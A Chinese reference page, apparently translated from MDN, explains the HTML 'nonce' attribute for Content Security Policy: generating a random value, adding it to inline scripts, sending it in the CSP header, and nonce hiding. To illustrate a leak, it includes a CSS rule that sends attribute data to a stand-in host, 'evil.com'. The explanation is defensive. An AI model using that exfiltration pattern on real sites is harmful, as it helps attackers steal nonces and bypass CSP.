nonce

**nonce** 全局属性 是一个内容属性,定义了一个加密的 nonce(“一次性使用数字”),它可以被 内容安全策略 用于确定是否允许对给定元素进行给定的获取。

描述

nonce 属性可用于将特定元素列入白名单,例如特定的内联脚本或样式元素。它可以帮助您避免使用 CSP unsafe-inline 指令,该指令将列入白名单**所有**内联脚本或样式。

注意:仅当您无法避免使用不安全的内联脚本或样式内容时,才使用 nonce。如果您不需要 nonce,请勿使用它。如果您的脚本是静态的,您也可以使用 CSP 哈希代替。(请参阅 不安全的内联脚本 上的使用说明。)始终尝试充分利用 CSP 保护,并在任何可能的情况下避免使用 nonce 或不安全的内联脚本。

使用 nonce 将 <script> 元素列入白名单

使用 nonce 机制将内联脚本列入白名单涉及几个步骤

生成值

从您的 Web 服务器生成一个至少 128 位数据的随机 Base64 编码字符串,该字符串来自加密安全的随机数生成器。每次页面加载时,都应以不同的方式生成 Nonce(Nonce 只使用一次!)。例如,在 nodejs 中

js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

将内联脚本列入白名单

您在后端代码中生成的 nonce 现在应用于您要列入白名单的内联脚本

html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

使用 CSP 标头发送 nonce

最后,您需要在 Content-Security-Policy 标头中发送 nonce 值(在前面加上 nonce-

http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

访问 nonce 和 nonce 隐藏

出于安全原因,nonce 内容属性是隐藏的(将返回空字符串)。

js
script.getAttribute("nonce"); // returns empty string

nonce 属性是访问 nonce 的唯一方法

js
script.nonce; // returns nonce value

Nonce 隐藏有助于防止攻击者通过可以从内容属性中获取数据的机制来泄露 nonce 数据

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

规范

规范
HTML 标准
# attr-nonce

浏览器兼容性

BCD 表格仅在启用 JavaScript 的浏览器中加载。

另请参阅